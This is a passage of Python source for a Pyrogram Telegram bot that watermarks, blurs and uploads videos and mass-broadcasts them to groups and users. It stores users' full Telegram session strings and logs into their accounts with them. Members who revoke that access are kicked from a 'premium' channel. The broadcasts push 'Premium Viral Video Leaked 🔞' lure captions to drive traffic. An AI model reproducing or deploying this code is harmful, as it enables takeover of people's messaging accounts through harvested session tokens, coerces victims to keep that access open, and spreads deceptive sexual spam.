{message.chat.id}"
for admin_id in ADMIN_IDS:
try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
except: pass
except: pass
@bot.on_message(filters.command("blur") & filters.private & filters.user(ADMIN_IDS))
async def set_blur_state(client, message):
try:
args = message.text.split()
if len(args) > 1 and args[1].lower() in ['0', '0%', 'off', 'cancel']:
if message.chat.id in admin_states:
admin_states[message.chat.id].pop("blur_percent", None)
admin_states[message.chat.id].pop("clear_percent", None)
await message.reply("✅ Blur mode is disabled!\nUploaded videos will no longer be blurred, only watermarked as before.", parse_mode=enums.ParseMode.HTML)
return
match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', message.text, re.IGNORECASE)
if match:
percent = int(match.group(1))
clear_percent = int(match.group(2)) if match.group(2) else 0
if percent == 0:
if message.chat.id in admin_states:
admin_states[message.chat.id].pop("blur_percent", None)
admin_states[message.chat.id].pop("clear_percent", None)
await message.reply("✅ Blur mode is disabled!", parse_mode=enums.ParseMode.HTML)
return
if message.chat.id not in admin_states: admin_states[message.chat.id] = {}
admin_states[message.chat.id]["blur_percent"] = percent
admin_states[message.chat.id]["clear_percent"] = clear_percent
clear_msg = f"and the top {clear_percent}% part will remain clear." if clear_percent > 0 else "The entire photo/video will be blurred."
reply_text = f"✅ Blur set to: {percent}%\n📌 {clear_msg}\n\nThis will be applied to all future uploads.\n(To disable, send /blur 0)"
await message.reply(reply_text, parse_mode=enums.ParseMode.HTML)
else:
await message.reply("❌ Invalid command!\nCorrect format: `/blur 60` or `/blur 60 20`")
except Exception as e: print(e)
def upload_file_sync(upload_url, file_path, api_key):
try:
with open(file_path, 'rb') as f:
res = requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900)
return res.json() if res.status_code == 200 else {}
except Exception as e:
return {}
@bot.on_message((filters.video | filters.animation | filters.photo) & filters.private & filters.user(ADMIN_IDS))
async def handle_media_upload(client, message):
state = admin_states.get(message.chat.id, {})
if state.get("step") == "broadcast":
await process_broadcast(client, message)
return
media_type = "video" if message.video else "animation" if message.animation else "photo"
has_blur_caption = message.caption and "/blur" in message.caption.lower()
is_persistent_blur = bool(state.get("blur_percent"))
if media_type == "photo" and not (has_blur_caption or is_persistent_blur):
status = await message.reply("⏳ Saving thumbnail...")
try:
local_path = await message.download()
def upload_to_supabase():
with open(local_path, 'rb') as f: file_bytes = f.read()
file_name = f"thumb_{int(time.time())}.jpg"
supabase.storage.from_('thumbnails').upload(file_name, file_bytes, {"content-type": "image/jpeg"})
return supabase.storage.from_('thumbnails').get_public_url(file_name)
direct_link = await asyncio.to_thread(upload_to_supabase)
if os.path.exists(local_path): os.remove(local_path)
await status.edit_text(f"✅ Thumbnail saved successfully!\n\n{direct_link}", parse_mode=enums.ParseMode.HTML)
except Exception as e: await status.edit_text(f"⚠️ Upload Error: {e}")
return
raw_caption = message.caption or ""
blur_match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', raw_caption, re.IGNORECASE)
is_blur = False
blur_percent = 0
clear_percent = 0
clean_caption = raw_caption
if blur_match:
is_blur = True
blur_percent = int(blur_match.group(1))
clear_percent = int(blur_match.group(2)) if blur_match.group(2) else 0
clean_caption = re.sub(r'/blur\s*\d+%?(?:\s*\d+%?)?', '', raw_caption, flags=re.IGNORECASE).strip()
elif state.get("blur_percent"):
is_blur = True
blur_percent = state["blur_percent"]
clear_percent = state.get("clear_percent", 0)
is_large_video = False
if media_type == "video":
duration = message.video.duration if message.video and message.video.duration else 0
file_size = message.video.file_size if message.video and message.video.file_size else 0
MAX_DURATION = 7200 # 2 Hours
MAX_SIZE = 1900 * 1024 * 1024 # 1.9 GB
if duration > MAX_DURATION or file_size > MAX_SIZE:
is_large_video = True
is_blur = False
status_msg = await message.reply("⏳ Video is too large! Skipping blur..." if is_large_video else "⏳ Downloading media...")
bot_me = client.me if client.me else await client.get_me()
bot_link = f"https://t.me/{bot_me.username}"
original_file, watermarked_file, blurred_file, final_file, embed_link = None, None, None, None, None
try:
original_file = await message.download()
final_file = original_file
if media_type == "video" and not is_large_video:
await status_msg.edit_text("⏳ Watermarking video... (Fast processing)")
watermarked_file = f"{original_file}_wm.mp4"
cmd = [
"ffmpeg", "-y", "-i", original_file,
"-vf", "drawtext=text='@mxvdo':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'",
"-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-crf", "28",
"-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", watermarked_file
]
process = await asyncio.create_subprocess_exec(*cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
await process.communicate()
if process.returncode == 0 and os.path.exists(watermarked_file): final_file = watermarked_file
if is_blur and not is_large_video:
await status_msg.edit_text(f"⏳ Applying {blur_percent}% blur...")
radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
ext = "jpg" if media_type == "photo" else "mp4"
blurred_file = f"{original_file}_blurred.{ext}"
if clear_percent > 0:
clear_ratio = clear_percent / 100.0
# FFMPEG Audio Map ফিক্স
ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0[vout]", "-map", "[vout]"]
if media_type == "video":
ff_filter.extend(["-map", "0:a?"])
else:
ff_filter = ["-vf", f"boxblur={radius}:1"]
if media_type == "photo": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + [blurred_file]
elif media_type == "animation": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-pix_fmt", "yuv420p", blurred_file]
else: cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "2", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", blurred_file]
process_blur = await asyncio.create_subprocess_exec(*cmd_blur, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
await process_blur.communicate()
if process_blur.returncode == 0 and os.path.exists(blurred_file): final_file = blurred_file
if media_type == "video":
await status_msg.edit_text("⏳ Uploading video to byse.sx server...")
api_endpoint = "https://api.byse.sx/upload/server"
loop = asyncio.get_event_loop()
response = await loop.run_in_executor(None, lambda: requests.get(api_endpoint, params={'key': BYSE_API_KEY}, timeout=30))
result = response.json()
if result.get('status') == 200:
upload_res = await loop.run_in_executor(None, upload_file_sync, result.get('result'), final_file, BYSE_API_KEY)
if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
file_status = upload_res['files'][0].get('status', '')
if "not allowed" in str(file_status).lower():
await status_msg.edit_text(f"❌ byse.sx rejected the file: {file_status}", parse_mode=enums.ParseMode.HTML)
return
file_code = upload_res['files'][0].get('filecode')
if file_code: embed_link = f"https://bysesayeveum.com/e/{file_code}"
if not embed_link:
await status_msg.edit_text("❌ Uploaded to byse.sx but Embed Link not found.")
return
if is_large_video:
admin_cap = f"✅ Success! (Large Video)\n\n🔗 Embed Link:\n{embed_link or 'N/A'}\n\n📌 Broadcast skipped due to large file size."
await client.send_video(message.chat.id, message.video.file_id, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
await status_msg.delete()
return
await status_msg.edit_text("⏳ Preparing to broadcast to groups...")
if media_type == "video":
caption_text = f"🔥 New Premium Viral Video Leaked! 🔞\n\n🎬 Watch HD Video Here:\n👉 ▶️ Click Here to Watch\n\n👇 Click the button below to open Bot!"
else:
caption_text = f"{clean_caption}\n\n👇 Click the button below to open Bot!" if clean_caption else f"🔥 New Premium Viral Content! 🔞\n\n🎬 Watch HD Video Here:\n👉 ▶️ Click Here to Watch\n\n👇 Click the button below to open Bot!"
group_markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)]])
admin_cap = f"✅ Success! Media is broadcasting...\n\n🔗 Embed Link:\n{embed_link or 'N/A'}"
thumb_path = None
if media_type == "video":
thumb_path = f"{original_file}_thumb.jpg"
proc = await asyncio.create_subprocess_exec("ffmpeg", "-y", "-i", final_file, "-vframes", "1", thumb_path, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
await proc.communicate()
if not os.path.exists(thumb_path): thumb_path = None
if media_type == "photo":
sent_to_admin = await client.send_photo(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
tg_file_id = sent_to_admin.photo.file_id
elif media_type == "animation":
sent_to_admin = await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
tg_file_id = sent_to_admin.animation.file_id
else:
# Pyrogram V2 thumbnail ফিক্স
sent_to_admin = await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=message.video.duration, width=message.video.width, height=message.video.height, thumbnail=thumb_path)
tg_file_id = sent_to_admin.video.file_id
await status_msg.delete()
groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
group_ids = [g['group_id'] for g in groups_res.data]
success_count, fail_count = 0, 0
for gid in set(group_ids):
try:
if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
elif media_type == "animation": await client.send_animation(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
success_count += 1
await asyncio.sleep(1.5)
except Exception: fail_count += 1
await message.reply(f"📢 Broadcast Complete!\n\n✅ Success: {success_count} groups\n❌ Failed: {fail_count} groups", parse_mode=enums.ParseMode.HTML)
except Exception as e: await message.reply(f"⚠️ Error occurred: {str(e)}")
finally:
for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None]:
if f and os.path.exists(f):
try: os.remove(f)
except: pass
@bot.on_message(filters.command(["stats", "users"]) & filters.private & filters.user(ADMIN_IDS))
async def bot_stats(client, message):
try:
users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
await message.reply(f"📊 Bot Stats:\n👥 Users: {users.count or 0}\n🎬 Videos: {videos.count or 0}\n📢 Groups: {groups.count or 0}", parse_mode=enums.ParseMode.HTML)
except Exception as e: print(e)
@bot.on_message(filters.command("broadcast") & filters.private & filters.user(ADMIN_IDS))
async def broadcast_command(client, message):
admin_states[message.chat.id] = {"step": "broadcast"}
await message.reply("📢 Send the message you want to broadcast. (Send /cancel to abort)")
async def process_broadcast(client, message):
text = message.text or message.caption
if text == '/cancel':
admin_states.pop(message.chat.id, None)
await message.reply("❌ Cancelled.")
return
await message.reply("⏳ Broadcast started...")
admin_states.pop(message.chat.id, None)
try:
all_users, start, step = [], 0, 1000
while True:
res = await db_query(lambda: supabase.table('referrals').select('user_id').range(start, start + step - 1).execute())
if not res.data: break
all_users.extend(res.data)
start += step
success, failed = 0, 0
for u in all_users:
try:
await message.copy(chat_id=u['user_id'])
success += 1
await asyncio.sleep(0.15)
except Exception: failed += 1
await message.reply(f"✅ Broadcast Complete!\nSuccess: {success}\nFailed: {failed}")
except Exception as e: print(e)
@bot.on_message(filters.command(["png", "addvideo"]) & filters.private & filters.user(ADMIN_IDS))
async def add_png(client, message):
try:
parts = message.command
needed_ref, duration = 3, "random"
if len(parts) == 4 and parts[1].isdigit(): needed_ref, duration, thumbnail_url = int(parts[1]), parts[2], parts[3]
elif len(parts) == 3 and parts[1].isdigit(): needed_ref, thumbnail_url = int(parts[1]), parts[2]
elif len(parts) == 2: thumbnail_url = parts[1]
else: return await message.reply("❌ Invalid format.")
admin_states[message.chat.id] = {"step": 1, "thumbnail_url": f"{thumbnail_url}||{duration}", "needed_ref": needed_ref}
await message.reply("✅ Now send the Video/Embed Link.")
except Exception as e: print(e)
# সেশন টার্মিনেশন চেক এবং কিক আউট করার এডমিন কমান্ড
@bot.on_message(filters.command("clean") & filters.private & filters.user(ADMIN_IDS))
async def manual_clean_channel(client, message):
await message.reply("⏳ Starting channel cleanup...\nChecking all members in the premium channel to verify active sessions. This might take a while.")
try:
kicked, checked = 0, 0
async for member in client.get_chat_members(PREMIUM_CHANNEL_ID):
if member.user.is_bot or member.status in [enums.ChatMemberStatus.ADMINISTRATOR, enums.ChatMemberStatus.OWNER]:
continue
checked += 1
user_id = member.user.id
res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
is_valid = False
if res.data:
session_string = res.data[0]['session_string']
temp_client = Client(f"manual_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
try:
await temp_client.connect()
await temp_client.get_me()
await temp_client.disconnect()
is_valid = True
except (SessionRevoked, AuthKeyUnregistered, UserDeactivated):
try: await temp_client.disconnect()
except: pass
await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
except Exception:
try: await temp_client.disconnect()
except: pass
is_valid = True # নেটওয়ার্ক এরর হলে যেন ইউজার কিক না খায়!
if not is_valid:
try:
await client.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
await client.unban_chat_member(PREMIUM_CHANNEL_ID, user_id) # Kick only (allows re-join later)
kicked += 1
except Exception as e: pass
await asyncio.sleep(1.5)
await message.reply(f"✅ Cleanup Complete!\n\n👥 Members checked: {checked}\n👢 Users Kicked (Terminated Session): {kicked}")
except Exception as e:
await message.reply(f"❌ Error: {e}")
# সেশন টার্মিনেশনের অটো ব্যাকগ্রাউন্ড চেকার লুপ
async def auto_clean_channel_loop():
await asyncio.sleep(60) # startup delay
while True:
try:
async for member in bot.get_chat_members(PREMIUM_CHANNEL_ID):
if member.user.is_bot or member.status in [enums.ChatMemberStatus.ADMINISTRATOR, enums.ChatMemberStatus.OWNER]:
continue
user_id = member.user.id
res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
is_valid = False
if res.data:
session_string = res.data[0]['session_string']
temp_client = Client(f"bg_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
try:
await temp_client.connect()
await temp_client.get_me()
await temp_client.disconnect()
is_valid = True
except (SessionRevoked, AuthKeyUnregistered, UserDeactivated):
try: await temp_client.disconnect()
except: pass
await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
except Exception:
try: await temp_client.disconnect()
except: pass
is_valid = True # নেটওয়ার্ক এরর হলে যেন ইউজার কিক না খায়!
if not is_valid:
try:
await bot.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
await bot.unban_chat_member(PREMIUM_CHANNEL_ID, user_id)
except Exception: pass
await asyncio.sleep(2)
except Exception as e:
print(f"Auto clean error: {e}")
await asyncio.sleep(4 * 3600) # Run every 4 hours
@bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur", "clean"]))
async def catch_admin_steps(client, message):
state = admin_states.get(message.chat.id, {})
if state.get("step") == 1:
if not message.text: return
video_url = message.text.strip()
if video_url == "/cancel":
admin_states.pop(message.chat.id, None)
return await message.reply("❌ Cancelled.")
try:
await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": state["thumbnail_url"], "needed_ref": state["needed_ref"]}).execute())
await message.reply("🎉 Video added successfully!")
except Exception as e: print(e)
finally: admin_states.pop(message.chat.id, None)
elif state.get("step") == "broadcast":
await process_broadcast(client, message)
def run_flask(): app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 7860)))
async def main():
await bot.start()
print("🤖 Pyrogram Bot & Real Session API is running!")
asyncio.create_task(auto_clean_channel_loop())
await idle()
await bot.stop()
if __name__ == "__main__":
threading.Thread(target=run_flask, daemon=True).start()
main_loop.run_until_complete(main())